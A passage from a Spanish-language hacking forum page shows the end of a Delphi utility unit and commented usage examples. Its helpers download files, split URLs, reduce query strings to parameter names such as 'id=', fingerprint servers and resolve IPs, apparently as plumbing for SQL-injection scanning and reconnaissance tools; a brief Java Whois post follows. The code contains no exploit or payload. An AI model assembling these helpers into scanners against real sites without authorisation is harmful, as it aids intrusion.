  301.   end;
  302.   Result := code;
  303. end;
  304.  
  305. function clean_list(const list: TList<String>): TList<String>;
  306. var
  307.   lista: TList<String>;
  308.   elemento: string;
  309.  
  310. begin
  311.   lista := TList<String>.Create;
  312.   for elemento in list do
  313.   begin
  314.     if not lista.Contains(elemento) then
  315.     begin
  316.       lista.Add(elemento);
  317.     end;
  318.   end;
  319.   Result := lista;
  320. end;
  321.  
  322. function cut_list(const list: TList<String>): TList<String>;
  323. var
  324.   lista: TList<String>;
  325.   elemento: string;
  326.   otralista: TStrings;
  327. begin
  328.   lista := TList<String>.Create;
  329.   for elemento in list do
  330.   begin
  331.     if (Pos('=', elemento) > 0) then
  332.     begin
  333.       otralista := TStringList.Create;
  334.       ExtractStrings(['='], [], PChar(elemento), otralista);
  335.       lista.Add(otralista[0] + '=');
  336.     end;
  337.   end;
  338.   Result := lista;
  339. end;
  340.  
  341. function download_file(page, save: string): bool;
  342. begin
  343.   UrlDownloadToFile(nil, PChar(page), PChar(save), 0, nil);
  344.   if FileExists(save) then
  345.   begin
  346.     Result := True;
  347.   end
  348.   else
  349.   begin
  350.     Result := False;
  351.   end;
  352. end;
  353.  
  354. function get_url_file(Url: string): string;
  355. var
  356.   URI: TIdURI;
  357. begin
  358.   URI := TIdURI.Create(Url);
  359.   Result := URI.Document;
  360. end;
  361.  
  362. function uri_split(Url, opcion: string): string;
  363. var
  364.   URI: TIdURI;
  365. begin
  366.   URI := TIdURI.Create(Url);
  367.   if opcion = 'host' then
  368.   begin
  369.     Result := URI.Host;
  370.   end;
  371.   if opcion = 'port' then
  372.   begin
  373.     Result := URI.Port;
  374.   end;
  375.   if opcion = 'path' then
  376.   begin
  377.     Result := URI.Path;
  378.   end;
  379.   if opcion = 'file' then
  380.   begin
  381.     Result := URI.Document;
  382.   end;
  383.   if opcion = 'query' then
  384.   begin
  385.     Result := URI.Params;
  386.   end;
  387.   if opcion = '' then
  388.   begin
  389.     Result := 'Error';
  390.   end;
  391. end;
  392.  
  393. function md5_encode(text: string): string;
  394. var
  395.   md5: TIdHashMessageDigest5;
  396. begin
  397.   md5 := TIdHashMessageDigest5.Create;
  398.   Result := LowerCase(md5.HashStringAsHex(text));
  399. end;
  400.  
  401. function md5_file(const filename: string): string;
  402. var
  403.   md5: TIdHashMessageDigest5;
  404.   stream: TFileStream;
  405. begin
  406.   if (FileExists(filename)) then
  407.   begin
  408.     md5 := TIdHashMessageDigest5.Create;
  409.     stream := TFileStream.Create(filename, fmOpenRead or fmShareDenyWrite);
  410.     Result := LowerCase(md5.HashStreamAsHex(stream));
  411.   end
  412.   else
  413.   begin
  414.     Result := 'Error';
  415.   end;
  416. end;
  417.  
  418. function resolve_ip(const target: string): string;
  419. var
  420.   socket: TWSAData;
  421.   uno: PHostEnt;
  422.   dos: TInAddr;
  423.   ip: string;
  424. begin
  425.   try
  426.     begin
  427.       WSAStartup($101, socket);
  428.       uno := WinSock.GetHostByName(PAnsiChar(AnsiString(target)));
  429.       dos := PInAddr(uno^.h_Addr_List^)^;
  430.       ip := WinSock.inet_ntoa(dos);
  431.       if ip = '' then
  432.       begin
  433.         Result := 'Error';
  434.       end
  435.       else
  436.       begin
  437.         Result := ip;
  438.       end;
  439.     end;
  440.   except
  441.     Result := 'Error';
  442.   end;
  443. end;
  444.  
  445. end.
  446.  
  447. // The End ?
  448.  

Ejemplos de uso :

Código
  1. unit dh;
  2.  
  3. interface
  4.  
  5. uses
  6.   Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  7.   System.Classes, Vcl.Graphics,
  8.   Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, DH_Tools,
  9.   Generics.Collections;
  10.  
  11. type
  12.   TForm1 = class(TForm)
  13.     Memo1: TMemo;
  14.     Button1: TButton;
  15.     procedure Button1Click(Sender: TObject);
  16.   private
  17.     { Private declarations }
  18.   public
  19.     { Public declarations }
  20.   end;
  21.  
  22. var
  23.   Form1: TForm1;
  24.  
  25. implementation
  26.  
  27. {$R *.dfm}
  28.  
  29. procedure TForm1.Button1Click(Sender: TObject);
  30. var
  31.   paginas: TList<String>;
  32.   pagina: string;
  33.   lista: TList<String>;
  34.   code: string;
  35. begin
  36.  
  37.   // code := toma('http://localhost/login.php');
  38.   // ShowMessage(code);
  39.  
  40.   // code := tomar('http://localhost/login.php','usuario=test&password=test&control=Login');
  41.   // ShowMessage(code);
  42.  
  43.   // savefile('logs.txt','test');
  44.  
  45.   // code := read_file('logs.txt');
  46.   // ShowMessage(code);
  47.  
  48.   // code := console('ver');
  49.   // ShowMessage(code);
  50.  
  51.   // code := http_finger('http://www.petardas.com');
  52.   // ShowMessage(code);
  53.  
  54.   // code := response_code('http://www.petardas.com');
  55.   // ShowMessage(code);
  56.  
  57.   {
  58.     paginas := TList<String>.Create;
  59.     paginas.AddRange(['test1', 'test1', 'test3', 'test4', 'test5']);
  60.     lista := clean_list(paginas);
  61.  
  62.     for pagina in lista do
  63.     begin
  64.     Memo1.Lines.Add('Value : ' + pagina);
  65.     end;
  66.   }
  67.  
  68.   {
  69.     paginas := TList<String>.Create;
  70.     paginas.AddRange(['http://localhost/sql1.php?id=dsadasad',
  71.     'http://localhost/sql2.php?id=dsadasad',
  72.     'http://localhost/sql3.php?id=dsadasad',
  73.     'http://localhost/sql3.php?id=dsadasad']);
  74.     lista := cut_list(clean_list(paginas));
  75.  
  76.     for pagina in lista do
  77.     begin
  78.     Memo1.Lines.Add('Value : ' + pagina);
  79.     end;
  80.   }
  81.  
  82.   {
  83.     if (download_file('http://localhost/test.rar', 'test.rar')) then
  84.     begin
  85.     ShowMessage('Yeah');
  86.     end
  87.     else
  88.     begin
  89.     ShowMessage('Error');
  90.     end;
  91.   }
  92.  
  93.   // ShowMessage(get_url_file('http://localhost/sql.php?id=dsadsadsa'));
  94.  
  95.   // ShowMessage(uri_split('http://localhost/sql.php?id=dsadsadd','query'));
  96.  
  97.   // ShowMessage(md5_encode('123'));
  98.  
  99.   // ShowMessage(md5_file('c:/xampp/xampp-control.exe'));
  100.  
  101.   // ShowMessage(resolve_ip('www.petardas.com'));
  102.  
  103. end;
  104.  
  105. end.
  106.  

Eso seria todo.
30  Programación / Java / [Java] Whois Manager 0.2 en: 30 Abril 2016, 17:28 pm
Un simple programa en Java para hacer un Whois.

Una imagen :



Si lo quieren bajar lo pueden hacer de aca.
Páginas: 1 2 [3] 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ... 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines